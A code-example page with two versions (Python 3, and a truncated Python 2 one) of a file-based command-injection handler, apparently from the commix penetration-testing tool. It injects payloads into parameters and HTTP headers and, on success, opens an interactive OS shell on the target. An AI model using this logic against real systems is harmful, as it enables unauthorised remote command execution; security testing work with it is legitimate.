Esempio n. 1
0
def fb_injection_handler(url, timesec, filename, http_request_method,
                         url_time_response):
    shell = False
    counter = 1
    vp_flag = True
    exit_loops = False
    no_result = True
    is_encoded = False
    stop_injection = False
    call_tmp_based = False
    next_attack_vector = False
    export_injection_info = False
    injection_type = "semi-blind command injection"
    technique = "file-based command injection technique"

    tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
                              url_time_response)

    if not settings.LOAD_SESSION or settings.RETEST == True:
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
        info_msg = "Trying to create a file in '" + settings.WEB_ROOT
        info_msg += "' for command execution results. "
        print(settings.print_info_msg(info_msg))

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    # Check if defined alter shell
    alter_shell = menu.options.alter_shell
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:

                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION:
                        try:
                            settings.FILE_BASED_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                            OUTPUT_TEXTFILE = TAG + ".txt"
                            session_handler.notification(
                                url, technique, injection_type)
                            if technique == "tempfile-based injection technique":
                                #settings.LOAD_SESSION = True
                                tfb_handler.exploitation(
                                    url, timesec, filename, tmp_path,
                                    http_request_method, url_time_response)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print(settings.print_critical_msg(err_msg))
                            raise SystemExit()

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, timesec, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        i = i + 1
                        # The output file for file-based injection technique.
                        OUTPUT_TEXTFILE = TAG + ".txt"
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        try:
                            # File-based decision payload (check if host is vulnerable).
                            if alter_shell:
                                payload = fb_payloads.decision_alter_shell(
                                    separator, TAG, OUTPUT_TEXTFILE)
                            else:
                                payload = fb_payloads.decision(
                                    separator, TAG, OUTPUT_TEXTFILE)

                            # Check if defined "--prefix" option.
                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = payload.replace(" ", whitespace)

                            # Perform payload modification
                            payload = checks.perform_payload_modification(
                                payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                payload_msg = payload.replace("\n", "\\n")
                                print(settings.print_payload(payload_msg))
                            # Check if defined "--verbose" option.
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating payload for the injection..."
                                print(settings.print_info_msg(info_msg))
                                print(settings.print_payload(payload))

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie header injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = fb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent HTTP Header Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent HTTP header injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = fb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer HTTP Header Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to Referer HTTP header injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = fb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Host HTTP Header Injection
                            elif settings.HOST_INJECTION == True:
                                # Check if target host is vulnerable to Host HTTP header injection.
                                vuln_parameter = parameters.specify_host_parameter(
                                    menu.options.host)
                                response = fb_injector.host_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom HTTP header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = fb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = fb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Find the directory.
                            output = fb_injector.injection_output(
                                url, OUTPUT_TEXTFILE, timesec)
                            time.sleep(timesec)

                            try:

                                # Check if defined extra headers.
                                request = _urllib.request.Request(output)
                                headers.do_check(request)

                                # Evaluate test results.
                                output = _urllib.request.urlopen(request)
                                html_data = output.read()
                                shell = re.findall(r"" + TAG + "", html_data)

                                if len(shell) != 0 and shell[
                                        0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                                    percent = settings.SUCCESS_MSG
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "." + "" + percent + ""
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if len(shell) == 0:
                                    raise _urllib.error.HTTPError(
                                        url, 404, 'Error', {}, None)

                            except _urllib.error.HTTPError as e:
                                if str(e.getcode()
                                       ) == settings.NOT_FOUND_ERROR:
                                    percent = ((i * 100) / total)
                                    float_percent = "{0:.1f}".format(
                                        round(((i * 100) / (total * 1.0)), 2))

                                    if call_tmp_based == True:
                                        exit_loops = True
                                        tmp_path = os.path.split(
                                            menu.options.file_dest)[0] + "/"
                                        tfb_controller(no_result, url, timesec,
                                                       filename, tmp_path,
                                                       http_request_method,
                                                       url_time_response)
                                        raise

                                    # Show an error message, after N failed tries.
                                    # Use the "/tmp/" directory for tempfile-based technique.
                                    elif i == int(menu.options.failed_tries
                                                  ) and no_result == True:
                                        tmp_path = check_tmp_path(
                                            url, timesec, filename,
                                            http_request_method,
                                            url_time_response)
                                        warn_msg = "It seems that you don't have permissions to "
                                        warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
                                        sys.stdout.write(
                                            "\r" + settings.print_warning_msg(
                                                warn_msg))
                                        print("")
                                        while True:
                                            if not menu.options.batch:
                                                question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
                                                tmp_upload = _input(
                                                    settings.
                                                    print_question_msg(
                                                        question_msg))
                                            else:
                                                tmp_upload = ""
                                            if len(tmp_upload) == 0:
                                                tmp_upload = "y"
                                            if tmp_upload in settings.CHOICE_YES:
                                                exit_loops = True
                                                settings.TEMPFILE_BASED_STATE = True
                                                call_tfb = tfb_controller(
                                                    no_result, url, timesec,
                                                    filename, tmp_path,
                                                    http_request_method,
                                                    url_time_response)
                                                if call_tfb != False:
                                                    return True
                                                else:
                                                    if no_result == True:
                                                        return False
                                                    else:
                                                        return True
                                            elif tmp_upload in settings.CHOICE_NO:
                                                break
                                            elif tmp_upload in settings.CHOICE_QUIT:
                                                print("")
                                                raise
                                            else:
                                                err_msg = "'" + tmp_upload + "' is not a valid answer."
                                                print(
                                                    settings.print_error_msg(
                                                        err_msg))
                                                pass
                                        continue

                                    else:
                                        if exit_loops == False:
                                            if not settings.VERBOSITY_LEVEL >= 1:
                                                if str(float_percent
                                                       ) == "100.0":
                                                    if no_result == True:
                                                        percent = settings.FAIL_STATUS
                                                    else:
                                                        percent = ".. (" + str(
                                                            float_percent
                                                        ) + "%)"
                                                else:
                                                    percent = ".. (" + str(
                                                        float_percent) + "%)"

                                                info_msg = "Testing the " + "(" + injection_type.split(
                                                    " "
                                                )[0] + ") " + technique + "." + "" + percent + ""
                                                sys.stdout.write(
                                                    "\r" +
                                                    settings.print_info_msg(
                                                        info_msg))
                                                sys.stdout.flush()
                                                continue
                                            else:
                                                continue
                                        else:
                                            raise

                                elif str(e.getcode()
                                         ) == settings.UNAUTHORIZED_ERROR:
                                    err_msg = "Authorization required!"
                                    print(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    raise SystemExit()

                                elif str(e.getcode()
                                         ) == settings.FORBIDDEN_ERROR:
                                    err_msg = "You don't have permission to access this page."
                                    print(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    raise SystemExit()

                        except KeyboardInterrupt:
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise

                        except SystemExit:
                            if 'vuln_parameter' in locals():
                                # Delete previous shell (text) files (output)
                                delete_previous_shell(
                                    separator, payload, TAG, prefix, suffix,
                                    whitespace, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                            raise

                        except _urllib.error.URLError as e:
                            warn_msg = "It seems that you don't have permissions to "
                            warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
                            sys.stdout.write(
                                "\r" + settings.print_warning_msg(warn_msg))
                            err_msg = str(e).replace(": ", " (") + ")."
                            if menu.options.verbose > 1:
                                print("")
                            print(settings.print_critical_msg(err_msg))
                            # Provide custom server's root directory.
                            custom_web_root(url, timesec, filename,
                                            http_request_method,
                                            url_time_response)
                            continue

                        except:
                            raise

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        settings.FILE_BASED_STATE = True
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if not settings.VERBOSITY_LEVEL >= 1 and \
                           not menu.options.alter_shell and \
                           not next_attack_vector:
                            next_attack_vector = True

                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.HOST_INJECTION == True:
                            header_name = "Host"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            if not settings.VERBOSITY_LEVEL >= 1:
                                print("")
                            else:
                                checks.total_of_requests()

                        # Print the findings to terminal.
                        success_msg = "The"
                        if len(found_vuln_parameter
                               ) > 0 and not "cookie" in header_name:
                            success_msg += " " + http_request_method
                        success_msg += ('', ' (JSON)')[settings.IS_JSON] + (
                            '', ' (SOAP/XML)'
                        )[settings.IS_XML] + the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print(settings.print_success_msg(success_msg))
                        sub_content = str(checks.url_decode(payload))
                        print(settings.print_sub_content(sub_content))
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = _input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    fb_enumeration.do_check(
                                        separator, payload, TAG, timesec,
                                        prefix, suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    # print("")
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.enumeration_options():
                                fb_enumeration.do_check(
                                    separator, payload, TAG, timesec, prefix,
                                    suffix, whitespace, http_request_method,
                                    url, vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            if not settings.VERBOSITY_LEVEL >= 1 and new_line:
                                print("")

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print("")
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    file_access_again = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    fb_file_access.do_check(
                                        separator, payload, TAG, timesec,
                                        prefix, suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    print("")
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print("")
                                fb_file_access.do_check(
                                    separator, payload, TAG, timesec, prefix,
                                    suffix, whitespace, http_request_method,
                                    url, vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                                print("")

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print("")
                            fb_enumeration.single_os_cmd_exec(
                                separator, payload, TAG, timesec, prefix,
                                suffix, whitespace, http_request_method, url,
                                vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
                                filename)
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise SystemExit()

                        try:
                            # Pseudo-Terminal shell
                            go_back = False
                            go_back_again = False
                            while True:
                                # Delete previous shell (text) files (output)
                                # if settings.VERBOSITY_LEVEL >= 1:
                                #   print("")
                                delete_previous_shell(
                                    separator, payload, TAG, prefix, suffix,
                                    whitespace, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                                if settings.VERBOSITY_LEVEL >= 1:
                                    print("")
                                if go_back == True:
                                    break
                                if not menu.options.batch:
                                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                    gotshell = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    gotshell = ""
                                if len(gotshell) == 0:
                                    gotshell = "y"
                                if gotshell in settings.CHOICE_YES:
                                    if not menu.options.batch:
                                        print("")
                                    print("Pseudo-Terminal (type '" +
                                          Style.BRIGHT + "?" +
                                          Style.RESET_ALL +
                                          "' for available options)")
                                    if readline_error:
                                        checks.no_readline_module()
                                    while True:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = _input("""commix(""" +
                                                     Style.BRIGHT + Fore.RED +
                                                     """os_shell""" +
                                                     Style.RESET_ALL +
                                                     """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        # if settings.VERBOSITY_LEVEL >= 1:
                                        #   print("")
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename, technique, go_back,
                                                no_result, timesec,
                                                go_back_again, payload,
                                                OUTPUT_TEXTFILE)
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            time.sleep(timesec)
                                            response = fb_injector.injection(
                                                separator, payload, TAG, cmd,
                                                prefix, suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter,
                                                OUTPUT_TEXTFILE, alter_shell,
                                                filename)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Command execution results.
                                                shell = fb_injector.injection_results(
                                                    url, OUTPUT_TEXTFILE,
                                                    timesec)
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                if shell != "":
                                                    # Update logs with executed cmds and execution results.
                                                    logs.executed_command(
                                                        filename, cmd, shell)
                                                    print("\n" + Fore.GREEN +
                                                          Style.BRIGHT +
                                                          shell +
                                                          Style.RESET_ALL +
                                                          "\n")

                                            if not shell or shell == "":
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print("")
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print(
                                                    settings.
                                                    print_critical_msg(
                                                        err_msg) + "\n")

                                elif gotshell in settings.CHOICE_NO:
                                    if checks.next_attack_vector(
                                            technique, go_back) == True:
                                        break
                                    else:
                                        if no_result == True:
                                            return False
                                        else:
                                            return True

                                elif gotshell in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + gotshell + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass

                        except KeyboardInterrupt:
                            # if settings.VERBOSITY_LEVEL >= 1:
                            print("")
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print("")
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 2
0
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
  shell = False
  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "semi-blind command injection"
  technique = "file-based command injection technique"

  tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)

  if not settings.LOAD_SESSION or settings.RETEST == True: 
    TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
    info_msg = "Trying to create a file in '" + settings.WEB_ROOT 
    info_msg += "' for command execution results... "
    print settings.print_info_msg(info_msg)

  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:

          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION:
            try:
              settings.FILE_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              OUTPUT_TEXTFILE = TAG + ".txt"
              session_handler.notification(url, technique, injection_type)
              if technique == "tempfile-based injection technique":
                #settings.LOAD_SESSION = True
                tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
   
          if not settings.LOAD_SESSION:
            i = i + 1
            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = TAG + ".txt"    
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            try:
              # File-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
              else:
                payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                      
              # Check if defined "--prefix" option.
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)

              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)
              # Check if defined "--verbose" option.
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP Header Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

              # Referer HTTP Header Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to Referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP Header Injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to Host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = fb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

              # Find the directory.
              output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec)
              time.sleep(timesec)
              
              try:

                # Check if defined extra headers.
                request = urllib2.Request(output)
                headers.do_check(request)

                # Evaluate test results.
                output = urllib2.urlopen(request)
                html_data = output.read()
                shell = re.findall(r"" + TAG + "", html_data)

                if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

                if len(shell) == 0 :
                  raise urllib2.HTTPError(url, 404, 'Error', {}, None)

              except urllib2.HTTPError, e:
                if str(e.getcode()) == settings.NOT_FOUND_ERROR:
                  percent = ((i*100)/total)
                  float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                  if call_tmp_based == True:
                    exit_loops = True
                    tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                    tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
                    raise
                    
                  # Show an error message, after N failed tries.
                  # Use the "/tmp/" directory for tempfile-based technique.
                  elif i == int(menu.options.failed_tries) and no_result == True :
                    tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
                    warn_msg = "It seems that you don't have permissions to "
                    warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."  
                    sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                    print ""
                    while True:
                      if not menu.options.batch:
                        question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
                        sys.stdout.write(settings.print_question_msg(question_msg))
                        tmp_upload = sys.stdin.readline().replace("\n","").lower()
                      else:
                        tmp_upload = ""
                      if len(tmp_upload) == 0:
                         tmp_upload = "y"
                      if tmp_upload in settings.CHOICE_YES:
                        exit_loops = True
                        settings.TEMPFILE_BASED_STATE = True
                        call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
                        if call_tfb != False:
                          return True
                        else:
                          if no_result == True:
                            return False
                          else:
                            return True
                      elif tmp_upload in settings.CHOICE_NO:
                        break
                      elif tmp_upload in settings.CHOICE_QUIT:
                        print ""
                        raise
                      else:
                        err_msg = "'" + tmp_upload + "' is not a valid answer."  
                        print settings.print_error_msg(err_msg)
                        pass
                    continue
                  
                  else:
                    if exit_loops == False:
                      if not settings.VERBOSITY_LEVEL >= 1:
                        if str(float_percent) == "100.0":
                          if no_result == True:
                            percent = Fore.RED + "FAILED" + Style.RESET_ALL
                          else:
                            percent = str(float_percent)+ "%"
                        else:
                          percent = str(float_percent)+ "%"

                        info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                        continue
                      else:
                        continue
                    else:
                      raise
                  
                elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
                  err_msg = "Authorization required!"
                  print settings.print_critical_msg(err_msg) + "\n"
                  raise SystemExit()
                  
                elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
                  err_msg = "You don't have permission to access this page."
                  print settings.print_critical_msg(err_msg) + "\n"
                  raise SystemExit()
              
            except KeyboardInterrupt:
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              if 'vuln_parameter' in locals():
                # Delete previous shell (text) files (output)
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except urllib2.URLError, e: 
              warn_msg = "It seems that you don't have permissions to "
              warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
              sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
              err_msg = str(e).replace(": "," (") + ")."
              if menu.options.verbose > 1:
                print ""
              print settings.print_critical_msg(err_msg)
              # Provide custom server's root directory.
              custom_web_root(url, timesec, filename, http_request_method, url_time_response)
              continue
            
            except:
              raise
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            settings.FILE_BASED_STATE = True
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if not settings.VERBOSITY_LEVEL >= 1 and \
               not menu.options.alter_shell and \
               not next_attack_vector:
              next_attack_vector = True

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

